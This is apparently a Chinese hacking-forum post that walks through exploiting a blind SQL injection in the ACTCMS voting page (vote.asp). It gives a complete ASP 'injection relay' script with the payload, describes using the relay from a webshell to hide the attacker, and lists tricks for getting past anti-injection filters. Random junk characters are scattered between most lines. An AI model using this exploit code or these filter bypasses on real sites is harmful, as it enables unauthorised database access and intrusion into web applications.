注入中转的高级应用，actcms漏洞以及其他

admin

; Y" w4 B' k* i! T看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
1 O& t- k+ R) ~! E转载请注明以上
& u* l7 n# f2 J# \: ?* V漏洞文件：
2 {, Z) u3 A4 H# A+ T/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
' N4 m8 a& f2 q/ X0 e4 y% q
0 z7 L% X* Q6 a9 n2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
& r" w1 ~7 o1 @2 z6 Z
- t9 \- D2 _, M" N' n3    response.end   
; A. B' K. w6 l8 i% W, K  t9 F
4    end if   
1 c# \+ _, P% S' s* j  ~
- \9 c" k8 {9 n: ?% ~. M& }" w5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

: T- V0 Z, p7 _7 J8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
  c% m" J$ ~1 ], f如果投票成功票数加1
            失败票数不变
% Z" d$ o0 K) r2 C- f4 `. H7 m如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! ?4 r0 \0 k; G! a
2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
$ m/ q$ W3 T3 H' K先用寂寞的刺猬大牛的注入中转生成jmget.asp
( e0 K% k2 r: I: }6 V; y$ Q! Q注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
0 C1 L) _; T; v% O7 l: Y" V+ r
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
; Y' Q7 T$ B: K: P) N
02JmdcwName=request("jmdcw")

6 b8 G- W9 |& I6 I* A7 f2 f03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
# E7 z8 b# H2 ?/ g
/ g# n. m8 s$ x; E7 N7 |04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

. h% I( f' X! K/ I% w& [06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
. B$ I0 W0 f+ E
08testurl=testurl & "?" & JmStr
# l8 M& h8 W8 s, e* S
09JMUrl=JMUrl & "?" & JmStr
1 p' D3 X4 R0 l; _0 y) N
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
& l& m( q8 e" K, J! R) g
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
0 M' j! `8 q! k3 x7 e, Z
+ B  L1 t/ ?' f2 T: ^12JmCok=replace(JmCok,chr(32),"%20")  

3 i" S, P- I+ O( Z13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
3 {, U* q8 `  d! s, [
9 k  t- r& c7 O' }4 C* ~( v$ ^$ @14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

0 d  H) o7 R/ m# b: K" d' T  l% K- y16  
7 u* J& k) s' m3 b3 x; C" e+ P
: T1 B: [& r* `: e/ t17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
& X; N2 G" z0 @
18response.write test1&""&test2&""
) M1 g' u' D9 o& y+ d! [
19  
9 i6 W) X7 X' @& H- \
20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"
3 e( J) q8 Y0 v0 C3 B& Q" T7 J5 I
22else
8 C/ d8 j. H8 t9 n
. C8 T2 ], t  t, v' |! g6 }0 I23  response.write "succeed"

24end if  
- C* ^- o6 f% S: G
25  
1 P+ x$ N6 H0 C/ T' Z* k$ v
4 C+ w; D1 f) z% I. w$ M+ [. i26response.write "by 3x"

27  
& N# _! ]& }2 h/ V- I
28  

  L  Q+ ~0 s! l8 j# p( a29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
3 e5 `) w! h% B0 c
30Dim Http
8 E/ k7 N8 K6 _. y
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

: G0 N% |6 o# c" n& U32With Http

33  
6 O/ X0 I, i4 `7 }
' F5 m7 H% J+ A( s34.Open "GET",PostUrl,False
- u5 T+ p. l9 {% G
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
% r3 L4 K- V' T2 H
36.SetRequestHeader "Referer",PostRef
3 E' e; l4 J8 D
37.SetRequestHeader "Cookie",PostCok
8 A' E4 m2 S7 w; i* W
2 `$ s! a2 h5 X3 c7 K38.Send ()
6 x0 i9 n2 W4 f/ C. N$ G9 ^5 A9 \
39PostData = .ResponseBody
. m1 x0 n/ E4 D# p* y
40End With
" m) W. B- i7 c9 B( s  A6 ~
41Set Http = Nothing
, h! ?5 `4 P! D$ w4 r, E4 ?+ U" U, R
42PostData =bytes2BSTR(PostData)

43End Function
3 s! `/ K6 p4 I8 i( y
44  
" @  K# C& p4 i1 e
* H( v2 u2 A+ K/ u45  

  o! s6 d8 c  {  B- [46Function bytes2BSTR(vIn)
/ y4 Z/ b& _5 r
47Dim strReturn

48Dim I, ThisCharCode, NextCharCode

1 ^; D5 o. {1 h7 a49strReturn = ""

50For I = 1 To LenB(vIn)
7 P* y$ ^6 N0 O$ A2 A' t6 r4 L
5 C" R2 f' T8 x! d6 Y! ?51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
) P3 w, O; p: x7 p* }: Y3 v
53strReturn = strReturn & Chr(ThisCharCode)

3 X( o8 K, n* k54Else
% M: |6 P. \% r; T
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' q/ b5 ~3 _' B  D+ N2 W
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

. u2 }, `* C) z2 r; T8 D/ \( o4 I% j0 E  t57I = I + 1
' f8 A7 d6 v4 T+ C# R* [
58End If
& o. ^: H. o3 l6 ]& a# G( |  ^1 |
6 g2 F1 M$ b8 I* k- D9 |, [59Next

; A2 v! Q" {* B& T60bytes2BSTR = strReturn

/ ^; {( i: Y4 A* f$ F61End Function

62  

63Function URLEncoding(vstrin)  

64strReturn=""

65Dim i
$ t/ F) A! a) c! W
66For i=1 To Len(vstrin)
2 H9 H- Q. a; n
+ \$ y' k  f5 u/ s" `67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then

) [: v" i. o  }% r69strReturn=strReturn & ThisChr
2 R' R( T% q4 F/ C
9 k0 T" q: Y0 C! _: L70Else

% z* M. e% d* i! e2 X0 T" H71InnerCode=Asc(ThisChr)
. a5 V4 k- E, I& }7 S2 Y5 N9 g
72If InnerCode<0 Then
1 \9 C' }$ R9 e' E" ?7 R$ q
73InnerCode=InnerCode + &H10000

74End If

75Hight1=(InnerCode And &HFF00) \&HFF
) G! p' n& E0 v
76Low1=InnerCode And &HFF
. ~% m- U  N3 m/ Q& R
5 ?& s8 z+ @3 R+ y8 m77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

0 e. B! a, W) T+ ~78End if
& u) u- ^$ v+ |. ^% b+ H
79Next

. ?' ?# h$ `6 i! C; n/ B$ R/ [- o! T80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

% ]+ C0 L0 I5 M7 w7 U81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
8 r7 h- |' p  \+ v5 b$ P
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function

85  
2 r5 p% Q' h9 s
86function getSt(body)
+ T$ G6 e4 J, k4 ?
$ e  [: Q! q  r& B* k7 f87  startpot=instr(body,"投票人数：")+len("投票人数：")

0 C. K) X8 S; X8 X88  endpot=instr(startpot,body," ")

89  getSt=mid(body,startpot,endpot-startpot)

90end function

2 P: S2 o* L6 T# M5 y) u, H91%>
; E( p$ d* q& W" S) x' ]6 [; ]注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
3 F: V9 D7 D' C7 p2 C# w. ~; K7 M5 E投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ w$ U/ u+ u* x7 b1 U7 N
2009-12-27 13:29
投票失败
, o4 X3 q8 F1 W4 p, `) s6 Z4 \, qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
% Y$ u5 m# j& S* R+ c
  Q+ }# i2 {4 Z2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
  Y9 l0 b) D; o( Q( u很抱歉。。。只能用单线程工具去注入。。。。。
: h8 l3 r' u% L所以失败。。。不好意思。。。
4 L4 U8 F2 R  y/ k0 T3 |" R4 }-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
5 {# C5 R9 e# v8 j8 }6 y8 V2 p